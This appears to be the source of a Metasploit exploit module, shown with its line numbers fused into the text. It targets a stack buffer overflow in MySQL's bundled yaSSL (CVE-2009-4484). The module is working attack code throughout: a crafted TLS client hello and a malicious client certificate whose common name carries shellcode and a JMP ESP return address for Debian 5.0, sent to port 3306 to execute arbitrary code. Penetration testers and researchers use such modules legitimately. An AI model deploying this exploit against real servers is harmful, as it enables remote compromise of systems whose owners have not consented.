Path: blob/master/modules/exploits/linux/mysql/mysql_yassl_getname.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MySQL yaSSL CertDecoder::GetName Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier)18implementation bundled with MySQL. By sending a specially crafted19client certificate, an attacker can execute arbitrary code.2021This vulnerability is present within the CertDecoder::GetName function inside22"taocrypt/src/asn.cpp". However, the stack buffer that is written to exists23within a parent function's stack frame.2425NOTE: This vulnerability requires a non-default configuration. First, the attacker26must be able to pass the host-based authentication. Next, the server must be27configured to listen on an accessible network interface. Lastly, the server28must have been manually configured to use SSL.2930The binary from version 5.5.0-m2 was built with /GS and /SafeSEH. During testing31on Windows XP SP3, these protections successfully prevented exploitation.3233Testing was also done with mysql on Ubuntu 9.04. Although the vulnerable code is34present, both version 5.5.0-m2 built from source and version 5.0.75 from a binary35package were not exploitable due to the use of the compiler's FORTIFY feature.3637Although suse11 was mentioned in the original blog post, the binary package they38provide does not contain yaSSL or support SSL.39},40'Author' => [ 'jduck' ],41'License' => MSF_LICENSE,42'References' => [43[ 'CVE', '2009-4484' ],44[ 'BID', '37640' ],45[ 'BID', '37943' ],46[ 'BID', '37974' ],47[ 'OSVDB', '61956' ],48[ 'URL', 'http://web.archive.org/web/20100129041727/http://secunia.com:80/advisories/38344/' ]49],50'Privileged' => true,51'DefaultOptions' => {52'EXITFUNC' => 'thread',53},54'Payload' => {55'Space' => 1046,56'BadChars' => "",57'StackAdjustment' => -3500,58'DisableNops' => true59},60'Platform' => 'linux',61'Targets' => [62[ 'Automatic', {} ],63[ 'Debian 5.0 - MySQL (5.0.51a-24+lenny2)', { 'JmpEsp' => 0x0807dc34 } ]64],65'DefaultTarget' => 0,66'DisclosureDate' => '2010-01-25',67'Notes' => {68'Reliability' => UNKNOWN_RELIABILITY,69'Stability' => UNKNOWN_STABILITY,70'SideEffects' => UNKNOWN_SIDE_EFFECTS71}72)73)7475register_options([ Opt::RPORT(3306) ], self)76end7778def exploit79connect8081# read the mysql server hello :)82version = nil83if (buf = sock.get_once(-1, 5) || '')84# print_status("\n" + Rex::Text.to_hex_dump(buf))85if (buf =~ /is not allowed to connect/)86fail_with(Failure::Unreachable, 'The server refused our connection!')87end8889len1, cmd = buf[0, 5].unpack('VC')90rest = buf[5, len1]91idx = rest.index("\x00")92if (idx)93version = rest[0, idx]94print_status("Server reports version: #{version}")95end96end9798# handle automatic target selection99mytarget = nil100if (target.name =~ /Automatic/)101print_status("Attempting to locate a corresponding target")102version = "(" + version + ")"103targets.each { |tgt|104if (tgt.name.include?(version))105mytarget = tgt106end107}108109if (not mytarget)110fail_with(Failure::NoTarget, 'Unable to detect target automatically')111else112print_status("Using automatically detected target: #{mytarget.name}")113end114else115mytarget = target116print_status("Trying target #{mytarget.name}...")117end118119# create/send the hello packet120hello = [0x01000020].pack('V')121hello << "\x85\xae\x03\x00" + "\x00\x00\x00\x01" + "\x08\x00\x00\x00"122hello << "\x00" * 20123hello << "\x16\x03\x01\x00\x60\x01\x00\x00\x5c\x03\x01\x4a\x92\xce\xd1\xe1"124hello << "\xab\x48\x51\xc8\x49\xa3\x5e\x97\x1a\xea\xc2\x99\x82\x33\x42\xd5"125hello << "\x14\xbc\x05\x64\xdc\xb5\x48\xbd\x4c\x11\x55\x00\x00\x34\x00\x39"126hello << "\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a\x00\x33\x00\x32\x00\x2f"127hello << "\x00\x66\x00\x05\x00\x04\x00\x63\x00\x62\x00\x61\x00\x15\x00\x12"128hello << "\x00\x09\x00\x65\x00\x64\x00\x60\x00\x14\x00\x11\x00\x08\x00\x06"129hello << "\x00\x03\x02\x01\x00"130sock.put(hello)131132# build a cn that will trigger the vulnerability133cn = rand_text(payload_space - payload.encoded.length)134cn << payload.encoded135cn << [0, 0].pack('VV') # memset(x,0,0); (this is x and the length)136# NOTE: x in above (also gets passed to free())137pad = 1074 - payload_space138cn << rand_text(pad)139cn << [mytarget['JmpEsp']].pack('V')140distance = 4 + pad + 8 + payload.encoded.length141cn << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string142143cert = "\x2a\x86\x00\x84"144cert << [cn.length].pack('N')145cert << cn146cert = "\x30" +147"\x82\x01\x01" +148"\x31" +149"\x82\x01\x01" +150"\x30" +151"\x82\x01\x01" +152"\x06" +153"\x82\x00\x02" +154cert155156cert = "\xa0\x03" +157"\x02\x01\x02" +158"\x02\x01\x00" +159"\x30" + "\x0d" + "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00" +160cert161162# wrap in 2 sequences163cert = SNMP::BER.encode_tlv(0x30, cert)164cert = SNMP::BER.encode_tlv(0x30, cert)165166cert1 = big_endian_24bit(cert.length) + cert167certs = big_endian_24bit(cert1.length) + cert1168169handshake = "\x0b" + big_endian_24bit(certs.length) + certs170msg = "\x16\x03\x01"171msg << [handshake.length].pack('n')172msg << handshake173174sock.put(msg)175176handler177disconnect178end179180def big_endian_24bit(len)181uno = (len >> 16) & 0xff182dos = (len >> 8) & 0xff183tre = len & 0xff184[uno, dos, tre].pack('C*')185end186end187188189